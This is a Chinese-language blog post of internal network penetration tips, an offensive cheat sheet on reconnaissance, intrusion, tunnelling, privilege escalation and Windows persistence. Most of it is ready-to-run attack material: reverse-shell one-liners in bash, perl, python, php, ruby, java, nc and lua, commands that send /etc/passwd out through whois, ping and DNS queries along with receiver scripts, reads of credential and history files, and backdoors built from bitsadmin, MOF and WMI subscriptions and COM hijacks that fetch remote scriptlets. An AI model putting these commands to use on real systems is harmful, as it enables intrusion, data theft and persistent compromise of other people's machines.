内网渗透TIPS

左手的ㄟ右手 2024-04-07 11:13 69阅读 0赞

### **信息搜集** ###

#### 开源情报信息收集(OSINT) ####

##### github #####

*  Github\_Nuggests(自动爬取Github上文件敏感信息泄露) :[https://github.com/az0ne/Github\_Nuggests][https_github.com_az0ne_Github_Nuggests]
 *  GSIL(能够实现近实时(15分钟内)的发现Github上泄露的信息) :[https://github.com/FeeiCN/GSIL][https_github.com_FeeiCN_GSIL]
 *  x-patrol(小米团队的):[https://github.com/MiSecurity/x-patrol][https_github.com_MiSecurity_x-patrol]

##### whois查询/注册人反查/邮箱反查/相关资产 #####

*  站长之家:[http://whois.chinaz.com/?DomainName=target.com&ws][http_whois.chinaz.com_DomainName_target.com_ws]=
 *  爱站:[https://whois.aizhan.com/target.com/][https_whois.aizhan.com_target.com]
 *  微步在线:[https://x.threatbook.cn/][https_x.threatbook.cn]
 *  IP反查:[https://dns.aizhan.com/][https_dns.aizhan.com]
 *  天眼查:[https://www.tianyancha.com/][https_www.tianyancha.com]
 *  虎妈查:[http://www.whomx.com/][http_www.whomx.com]
 *  历史漏洞查询 :
    
     *  在线查询:[http://wy.zone.ci/][http_wy.zone.ci]
     *  自搭建:[https://github.com/hanc00l/wooyun\_publi/][https_github.com_hanc00l_wooyun_publi]

##### google hacking #####

#### 创建企业密码字典 ####

##### 字典列表 #####

*  passwordlist:[https://github.com/lavalamp-/password-lists][https_github.com_lavalamp-_password-lists]
 *  猪猪侠字典:[https://pan.baidu.com/s/1dFJyedz][https_pan.baidu.com_s_1dFJyedz][Blasting\_dictionary][Blasting_dictionary](分享和收集各种字典，包括弱口令，常用密码，目录爆破。数据库爆破，编辑器爆破，后台爆破等)
 *  针对特定的厂商，重点构造厂商相关域名的字典

['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']

##### 密码生成 #####

*  GenpAss(中国特色的弱口令生成器: [https://github.com/RicterZ/genpAss/][https_github.com_RicterZ_genpAss]
 *  passmaker(可以自定义规则的密码字典生成器) ：[https://github.com/bit4woo/passmaker][https_github.com_bit4woo_passmaker]
 *  pydictor(强大的密码生成器) ：[https://github.com/LandGrey/pydictor][https_github.com_LandGrey_pydictor]

##### 邮箱列表获取 #####

*  theHarvester ：[https://github.com/laramies/theHarvester][https_github.com_laramies_theHarvester]
 *  获取一个邮箱以后导出通讯录
 *  LinkedInt :[https://github.com/mdsecactivebreach/LinkedInt][https_github.com_mdsecactivebreach_LinkedInt]
 *  Mailget：[https://github.com/Ridter/Mailget][https_github.com_Ridter_Mailget]

##### 泄露密码查询 #####

*  ghostproject: [https://ghostproject.fr/][https_ghostproject.fr]
 *  pwndb: [https://pwndb2am4tzkvold.onion.to/][https_pwndb2am4tzkvold.onion.to]

##### 对企业外部相关信息进行搜集 #####

###### 子域名获取 ######

*  Layer子域名挖掘机4.2纪念版
 *  subDomainsBrute ：[https://github.com/lijiejie/subDomainsBrute][https_github.com_lijiejie_subDomainsBrute]
 *  wydomain ：[https://github.com/ring04h/wydomain][https_github.com_ring04h_wydomain]
 *  Sublist3r ：[https://github.com/aboul3la/Sublist3r][https_github.com_aboul3la_Sublist3r]
 *  site:target.com:[https://www.google.com][https_www.google.com]
 *  Github代码仓库
 *  抓包分析请求返回值(跳转/文件上传/app/api接口等)
 *  站长帮手links等在线查询网站
 *  域传送漏洞

Linux

dig @ns.example.com example=.com AXFR

Windows

nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器
    nslookup #进入nslookup交互模式
    server dns.domian.com #指定dns服务器
    ls xxx.yyy.cn #列出域信息

*  GetDomainsBySSL.py :[https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note\#/][https_note.youdao.com_ynoteshare1_index.html_id_247d97fc1d98b122ef9804906356d47a_type_note]
 *  censys.io证书 :[https://censys.io/certificates?q=target.com][https_censys.io_certificates_q_target.com]
 *  crt.sh证书查询:[https://crt.sh/?q=%25.target.com][https_crt.sh_q_25.target.com]
 *  shadon :[https://www.shodan.io/][https_www.shodan.io]
 *  zoomeye :[https://www.zoomeye.org/][https_www.zoomeye.org]
 *  fofa :[https://fofa.so/][https_fofa.so]
 *  censys：[https://censys.io/][https_censys.io]
 *  dnsdb.io :[https://dnsdb.io/zh-cn/search?q=target.com][https_dnsdb.io_zh-cn_search_q_target.com]
 *  api.hackertarget.com :[http://api.hackertarget.com/reversedns/?q=target.com][http_api.hackertarget.com_reversedns_q_target.com]
 *  community.riskiq.com :[https://community.riskiq.com/Search/target.com][https_community.riskiq.com_Search_target.com]
 *  subdomain3 :[https://github.com/yanxiu0614/subdomain3][https_github.com_yanxiu0614_subdomain3]
 *  FuzzDomain :[https://github.com/Chora10/FuzzDomain][https_github.com_Chora10_FuzzDomain]
 *  dnsdumpster.com :[https://dnsdumpster.com/][https_dnsdumpster.com]
 *  phpinfo.me :[https://phpinfo.me/domain/][https_phpinfo.me_domain]
 *  dns开放数据接口 :[https://dns.bufferover.run/dns?q=baidu.com][https_dns.bufferover.run_dns_q_baidu.com]

### 进入内网 ###

#### 基于企业弱账号漏洞 ####

*  VPN(通过邮箱，密码爆破，社工等途径获取VPN)
 *  企业相关运维系统(zabbix等)

#### 基于系统漏洞进入 ####

*  Metasploit(漏洞利用框架):[https://github.com/rapid7/metasploit-framework][https_github.com_rapid7_metasploit-framework]
 *  漏洞利用脚本

#### 网站应用程序渗透 ####

*  SQL注入
 *  跨站脚本(XSS)
 *  跨站请求伪造(CSRF)
 *  SSRF([ssrf\_proxy][ssrf_proxy])
 *  功能/业务逻辑漏洞
 *  其他漏洞等
 *  CMS-内容管理系统漏洞
 *  企业自建代理

#### 无线Wi-Fi接入 ####

### 隐匿攻击 ###

#### Command and Control ####

*  ICMP :[https://pentestlab.blog/2017/07/28/command-and-control-icmp/][https_pentestlab.blog_2017_07_28_command-and-control-icmp]
 *  DNS :[https://pentestlab.blog/2017/09/06/command-and-control-dns/][https_pentestlab.blog_2017_09_06_command-and-control-dns]
 *  DropBox :[https://pentestlab.blog/2017/08/29/command-and-control-dropbox/][https_pentestlab.blog_2017_08_29_command-and-control-dropbox]
 *  Gmail :[https://pentestlab.blog/2017/08/03/command-and-control-gmail/][https_pentestlab.blog_2017_08_03_command-and-control-gmail]
 *  Telegram :[http://drops.xmd5.com/static/drops/tips-16142.html][http_drops.xmd5.com_static_drops_tips-16142.html]
 *  Twitter :[https://pentestlab.blog/2017/09/26/command-and-control-twitter/][https_pentestlab.blog_2017_09_26_command-and-control-twitter]
 *  Website Keyword :[https://pentestlab.blog/2017/09/14/command-and-control-website-keyword/][https_pentestlab.blog_2017_09_14_command-and-control-website-keyword]
 *  PowerShell :[https://pentestlab.blog/2017/08/19/command-and-control-powershell/][https_pentestlab.blog_2017_08_19_command-and-control-powershell]
 *  Windows COM :[https://pentestlab.blog/2017/09/01/command-and-control-windows-com/][https_pentestlab.blog_2017_09_01_command-and-control-windows-com]
 *  WebDAV :[https://pentestlab.blog/2017/09/12/command-and-control-webdav/][https_pentestlab.blog_2017_09_12_command-and-control-webdav]
 *  Office 365 :[https://www.anquanke.com/post/id/86974][https_www.anquanke.com_post_id_86974]
 *  HTTPS :[https://pentestlab.blog/2017/10/04/command-and-control-https/][https_pentestlab.blog_2017_10_04_command-and-control-https]
 *  Kernel :[https://pentestlab.blog/2017/10/02/command-and-control-kernel/][https_pentestlab.blog_2017_10_02_command-and-control-kernel]
 *  Website :[https://pentestlab.blog/2017/11/14/command-and-control-website/][https_pentestlab.blog_2017_11_14_command-and-control-website]
 *  WMI :[https://pentestlab.blog/2017/11/20/command-and-control-wmi/][https_pentestlab.blog_2017_11_20_command-and-control-wmi]
 *  WebSocket :[https://pentestlab.blog/2017/12/06/command-and-control-websocket/][https_pentestlab.blog_2017_12_06_command-and-control-websocket]
 *  Images :[https://pentestlab.blog/2018/01/02/command-and-control-images/][https_pentestlab.blog_2018_01_02_command-and-control-images]
 *  Web Interface :[https://pentestlab.blog/2018/01/03/command-and-control-web-interface/][https_pentestlab.blog_2018_01_03_command-and-control-web-interface]
 *  JavaScript :[https://pentestlab.blog/2018/01/08/command-and-control-javascript/][https_pentestlab.blog_2018_01_08_command-and-control-javascript]
 *  ...

#### Fronting ####

*  [Domain Fronting][]
 *  [Tor\_Fronting.][Tor_Fronting.]

#### 代理 ####

*  VPN
 *  HTTP :[http://cn-proxy.com/][http_cn-proxy.com]
 *  Tor

### 内网跨边界应用 ###

#### 内网跨边界转发 ####

*  [NC端口转发][NC]
 *  [LCX端口转发][LCX]
 *  [nps][]
 *  代理脚本
    
    1.  [Tunna][]
    2.  [Reduh][]
 *  ...

#### 内网跨边界代理穿透 ####

##### **[EW][]** #####

正向 SOCKS v5 服务器:

./ew -s ssocksd -l 1080

反弹 SOCKS v5 服务器:a) 先在一台具有公网 ip 的主机A上运行以下命令：

$ ./ew -s rcsocks -l 1080 -e 8888

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

$ ./ew -s rssocks -d 1.1.1.1 -e 8888

多级级联

$ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
    $ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

lcx\_tran 的用法

$ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

lcx\_listen、lcx\_slave 的用法

$ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s ssocksd -l 9999
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

“三级级联”的本地SOCKS测试用例以供参考

$ ./ew -s rcsocks -l 1080 -e 8888
    $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    $ ./ew -s lcx_listen -l 9999 -e 7777
    $ ./ew -s rssocks -d 127.0.0.1 -e 7777

##### **[Termite][]** #####

使用说明:[https://rootkiter.com/Termite/README.txt][https_rootkiter.com_Termite_README.txt]

##### 代理脚本 #####

reGeorg :[https://github.com/sensepost/reGeorg][https_github.com_sensepost_reGeorg]

#### shell反弹 ####

bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

java

r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

#使用-e 
    nc -e /bin/sh 223.8.200.234 1234

#不使用-e
    mknod /tmp/backpipe p
    /bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

#### 内网文件的传输和下载 ####

wput

wput dir_name ftp://linuxpig:123456@host.com/

wget

wget http://site.com/1.rar -O 1.rar

ariac2(需安装)

aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2

powershell

$p = New-Object System.Net.WebClient 
    $p.DownloadFile("http://domain/file","C:%homepath%file")

vbs脚本

Set args = Wscript.Arguments
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile " C:\%homepath%\file", 2 '
    end with

> 执行 ：cscript test.vbs

Perl

#!/usr/bin/perl 
    use LWP::Simple; 
    getstore("http://domain/file", "file");

> 执行：perl test.pl

Python

#!/usr/bin/python 
    import urllib2 
    u = urllib2.urlopen('http://domain/file') 
    localFile = open('local_file', 'w') 
    localFile.write(u.read()) 
    localFile.close()

> 执行：python test.py

Ruby

#!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|
    r = http.get("/file")
    open("save_location", "wb") { |file|
    file.write(r.body)
    }
    }

> 执行：ruby test.rb

PHP

<?php
    $url  = 'http://www.example.com/file';
    $path = '/path/to/file';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    file_put_contents($path, $data);
    ?>

> 执行：php test.php

NC attacker

cat file | nc -l 1234

target

nc host_ip 1234 > file

FTP

ftp 127.0.0.1 username password get file exit

TFTP

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

Bitsadmin

bitsadmin /transfer n http://domain/file c:%homepath%file

Window 文件共享

net use x: \127.0.0.1\share /user:example.comuserID myPassword

SCP 本地到远程

scp file user@host.com:/tmp

远程到本地

scp user@host.com:/tmp file

rsync 远程rsync服务器中拷贝文件到本地机

rsync -av root@192.168.78.192::www /databack

本地机器拷贝文件到远程rsync服务器

rsync -av /databack root@192.168.78.192::www

certutil.exe

certutil.exe -urlcache -split -f http://site.com/file

copy

copy \\IP\ShareName\file.exe file.exe

WHOIS接收端 Host B：

nc -vlnp 1337 | sed "s/ //g" | base64 -d

发送端 Host A：

whois -h host_ip -p 1337 `cat /etc/passwd | base64`

[WHOIS + TAR][WHOIS _ TAR]First:

ncat -k -l -p 4444 | tee files.b64  #tee to a file so you can make sure you have it

tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits

Finally

cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out

PING发送端:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端`ping_receiver.py`:

import sys
    
    try:
        from scapy.all import *
    except:
        print("Scapy not found, please install scapy: pip install scapy")
        sys.exit(0)
    
    
    def process_packet(pkt):
        if pkt.haslayer(ICMP):
            if pkt[ICMP].type == 8:
                data = pkt[ICMP].load[-4:]
                print(f'{data.decode("utf-8")}', flush=True, end="", sep="")
    
    sniff(iface="eth0", prn=process_packet)

python3 ping_receiver.py

DIG发送端:

xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done

接收端`dns_reciver.py`:

try:
        from scapy.all import *
    except:
        print("Scapy not found, please install scapy: pip install scapy")
    
    def process_packet(pkt):
        if pkt.haslayer(DNS):
            domain = pkt[DNS][DNSQR].qname.decode('utf-8')
            root_domain = domain.split('.')[1]
            if root_domain.startswith('gooogle'):
                print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
    
    sniff(iface="eth0", prn=process_packet)

python3 dns_reciver.py

...

#### 搭建 HTTP server ####

python2

python -m SimpleHTTPServer 1337

python3

python -m http.server 1337

PHP 5.4+

php -S 0.0.0.0:1337

ruby

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

ruby -run -e httpd . -p 1337

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'

perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

busybox httpd

busybox httpd -f -p 8000

### 内网信息搜集 ###

#### 本机信息搜集 ####

##### 1、用户列表 #####

windows用户列表 分析邮件用户，内网\[域\]邮件用户，通常就是内网\[域\]用户

##### 2、进程列表 #####

析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等

##### 3、服务列表 #####

与安全防范工具有关服务\[判断是否可以手动开关等\]存在问题的服务\[权限/漏洞\]

##### 4、端口列表 #####

开放端口对应的常见服务/应用程序\[匿名/权限/漏洞等\]利用端口进行信息收集

##### 5、补丁列表 #####

分析 Windows 补丁第三方软件\[Java/Oracle/Flash 等\]漏洞

##### 6、本机共享 #####

本机共享列表/访问权限本机访问的域共享/访问权限

##### 7、本用户习惯分析 #####

历史记录 收藏夹 文档等

##### 8、获取当前用户密码工具 #####

###### Windows ######

*  [mimikatz][]
 *  [wce][]
 *  [Invoke-WCMDump][]
 *  [mimiDbg][]
 *  [LaZagne][]
 *  [nirsoft\_package][nirsoft_package]
 *  [QuarksPwDump][] [fgdump][]
 *  星号查看器等

###### Linux ######

*  [LaZagne][]
 *  [mimipenguin][]

#### 扩散信息收集 ####

##### 端口扫描 #####

###### 常用端口扫描工具 ######

*  [nmap][]
 *  [masscan][]
 *  [zmap][]
 *  s扫描器
 *  自写脚本等
 *  NC
 *  ...

##### 内网拓扑架构分析 #####

*  DMZ
 *  管理网
 *  生产网
 *  测试网

##### 常见信息收集命令 #####

ipconfig:

ipconfig /all ------> 查询本机 IP 段，所在域等

net:

net user ------> 本机用户列表
    net localgroup administrators ------> 本机管理员[通常含有域用户]
    net user /domain ------> 查询域用户
    net group /domain ------> 查询域里面的工作组
    net group "domain admins" /domain ------> 查询域管理员用户组
    net localgroup administrators /domain ------> 登录本机的域管理员
    net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
    net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
    net view /domain:domainname

dsquery

dsquery computer domainroot -limit 65535 && net group "domain
    computers" /domain ------> 列出该域内所有机器名
    dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
    dsquery subnet ------>列出该域内网段划分
    dsquery group && net group /domain ------>列出该域内分组 
    dsquery ou ------>列出该域内组织单位 
    dsquery server && net time /domain------>列出该域内域控制器

#### 第三方信息收集 ####

*  NETBIOS 信息收集
 *  SMB 信息收集
 *  空会话信息收集
 *  漏洞信息收集等

### 权限提升 ###

##### Windows #####

##### BypassUAC #####

###### 常用方法 ######

*  使用IFileOperation COM接口
 *  使用Wusa.exe的extract选项
 *  远程注入SHELLCODE 到傀儡进程
 *  DLL劫持，劫持系统的DLL文件
 *  eventvwr.exe and registry hijacking
 *  sdclt.exe
 *  SilentCleanup
 *  wscript.exe
 *  cmstp.exe
 *  修改环境变量，劫持高权限.Net程序
 *  修改注册表HKCU\\Software\\Classes\\CLSID，劫持高权限程序
 *  直接提权过UAC

###### 常用工具 ######

*  [UACME][]
 *  [Bypass-UAC][]
 *  [Yamabiko][]
 *  ...

##### 提权 #####

*  windows内核漏洞提权

> 检测类:[Windows-Exploit-Suggester][],[WinSystemHelper][],[wesng][]利用类:[windows-kernel-exploits][]，[BeRoot][]

*  服务提权

> 数据库服务，ftp服务等

*  WINDOWS错误系统配置
 *  系统服务的错误权限配置漏洞
 *  不安全的注册表权限配置
 *  不安全的文件/文件夹权限配置
 *  计划任务
 *  任意用户以NT AUTHORITY\\SYSTEM权限安装msi
 *  提权脚本

> [PowerUP][],[ElevateKit][]

##### Linux #####

##### 内核溢出提权 #####

[linux-kernel-exploits][]

##### 计划任务 #####

crontab -l
    ls -alh /var/spool/cron
    ls -al /etc/ | grep cron
    ls -al /etc/cron*
    cat /etc/cron*
    cat /etc/at.allow
    cat /etc/at.deny
    cat /etc/cron.allow
    cat /etc/cron.deny
    cat /etc/crontab
    cat /etc/anacrontab
    cat /var/spool/cron/crontabs/root

##### SUID #####

find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;

##### 系统服务的错误权限配置漏洞 #####

cat /var/apache2/config.inc
    cat /var/lib/mysql/mysql/user.MYD
    cat /root/anaconda-ks.cfg

##### 不安全的文件/文件夹权限配置 #####

cat ~/.bash_history
    cat ~/.nano_history
    cat ~/.atftp_history
    cat ~/.mysql_history
    cat ~/.php_history

##### 找存储的明文用户名，密码 #####

grep -i user [filename]
    grep -i pass [filename]
    grep -C 5 "password" [filename]
    find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

### 权限维持 ###

#### 系统后门 ####

##### Windows #####

###### 1、密码记录工具 ######

WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具，在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码，WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。键盘记录器 安装键盘记录的目地不光是记录本机密码，是记录管理员一切的密码，比如说信箱，WEB 网页密码等等，这样也可以得到管理员的很多信息。NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件，会导致远程登录的时候出现故障，本软件可实现无障碍截取口令。Linux 下 openssh 后门 重新编译运行的sshd服务，用于记录用户的登陆密码。

###### 2、常用的存储Payload位置 ######

**WMI** :存储：

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
    $StaticClass.Name = 'Win32_Command'
    $StaticClass.Put()
    $StaticClass.Properties.Add('Command' , $Payload)
    $StaticClass.Put()

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

**包含数字签名的PE文件**利用文件hash的算法缺陷，向PE文件中隐藏Payload，同时不影响该PE文件的数字签名 **特殊ADS** …

type putty.exe > ...:putty.exe
    wmic process call create c:\test\ads\...:putty.exe

特殊COM文件

type putty.exe > \\.\C:\test\ads\COM1:putty.exe
    wmic process call create \\.\C:\test\ads\COM1:putty.exe

磁盘根目录

type putty.exe >C:\:putty.exe 
    wmic process call create C:\:putty.exe

###### 3、Run/RunOnce Keys ######

用户级

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

管理员

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

###### 4、BootExecute Key ######

由于smss.exe在Windows子系统加载之前启动，因此会调用配置子系统来加载当前的配置单元，具体注册表键值为：

HKLM\SYSTEM\CurrentControlSet\Control\hivelist
    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager

###### 5、Userinit Key ######

WinLogon进程加载的login scripts,具体键值：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

###### 6、Startup Keys ######

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

###### 7、Services ######

创建服务

sc create [ServerName] binPath= BinaryPathName

###### 8、Browser Helper Objects ######

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

###### 9、AppInit\_DLLs ######

加载User32.dll会加载的DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

###### 10、文件关联 ######

HKEY_LOCAL_MACHINE\Software\Classes
    HKEY_CLASSES_ROOT

###### 11、**[bitsadmin][]** ######

bitsadmin /create backdoor
    bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
    bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
    bitsadmin /Resume backdoor

###### 12、**[mof][]** ######

pragma namespace("\\\\.\\root\\subscription") 
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
    }; 
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://host.com/test\")";
    }; 
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };

管理员执行：

mofcomp test.mof

###### 13、**[wmi][]** ######

每隔60秒执行一次notepad.exe

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

###### 14、**[Userland Persistence With Scheduled Tasks][]** ######

劫持计划任务UserTask，在系统启动时加载dll

function Invoke-ScheduledTaskComHandlerUserTask
    {
    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
    [Parameter(Mandatory = $True)]
    [ValidateNotNullOrEmpty()]
    [String]
    $Command,
    
    [Switch]
    $Force
    )
    $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
    if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
    New-Item $ScheduledTaskCommandPath -Force |
    New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
    }else{
    Write-Verbose "Key already exists, consider using -Force"
    exit
    }
    
    if (Test-Path $ScheduledTaskCommandPath) {
    Write-Verbose "Created registry entries to hijack the UserTask"
    }else{
    Write-Warning "Failed to create registry key, exiting"
    exit
    } 
    }
    Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose

###### 15、**[Netsh][]** ######

netsh add helper c:\test\netshtest.dll

后门触发：每次调用netsh

> dll编写:[https://github.com/outflanknl/NetshHelperBeacon][https_github.com_outflanknl_NetshHelperBeacon]

###### 16、**[Shim][]** ######

常用方式：InjectDllRedirectShortcutRedirectEXE

###### 17、**[DLL劫持][DLL]** ######

通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程使用：Procmon半自动测试更精准，常规生成的dll会导致程序执行报错或中断，使用AheadLib配合生成dll劫持利用源码不会影响程序执行工具：[https://github.com/sensepost/rattler][https_github.com_sensepost_rattler]工具：[https://github.com/Yonsm/AheadLib][https_github.com_Yonsm_AheadLib]

###### 18、**[DoubleAgent][]** ######

编写自定义Verifier provider DLL通过Application Verifier进行安装注入到目标进程执行payload每当目标进程启动，均会执行payload，相当于一个自启动的方式POC : [https://github.com/Cybellum/DoubleAgent][https_github.com_Cybellum_DoubleAgent]

###### 19、**[waitfor.exe][]** ######

不支持自启动，但可远程主动激活，后台进程显示为waitfor.exePOC : [https://github.com/3gstudent/Waitfor-Persistence][https_github.com_3gstudent_Waitfor-Persistence]

###### 20、**[AppDomainManager][]** ######

针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制

###### 21、Office ######

[劫持Office软件的特定功能][Office]:通过dll劫持,在Office软件执行特定功能时触发后门[利用VSTO实现的office后门][VSTO_office][Office加载项][Office 1]

*  Word WLL
 *  Excel XLL
 *  Excel VBA add-ins
 *  PowerPoint VBA add-ins

> 参考1 ：[https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/][https_3gstudent.github.io_3gstudent.github.io_Use-Office-to-maintain-persistence]参考2 ：[https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/][https_3gstudent.github.io_3gstudent.github.io_Office-Persistence-on-x64-operating-system]

###### 22、**[CLR][]** ######

无需管理员权限的后门，并能够劫持所有.Net程序POC:[https://github.com/3gstudent/CLR-Injection][https_github.com_3gstudent_CLR-Injection]

###### 23、**[msdtc][]** ######

利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测利用：向 %windir%\\system32\\目录添加dll并重命名为oci.dll

###### 24、**[Hijack CAccPropServicesClass and MMDeviceEnumerato][]** ######

利用COM组件，不需要重启系统，不需要管理员权限通过修改注册表实现POC：[https://github.com/3gstudent/COM-Object-hijacking][https_github.com_3gstudent_COM-Object-hijacking]

###### 25、**[Hijack explorer.exe][]** ######

COM组件劫持，不需要重启系统，不需要管理员权限通过修改注册表实现

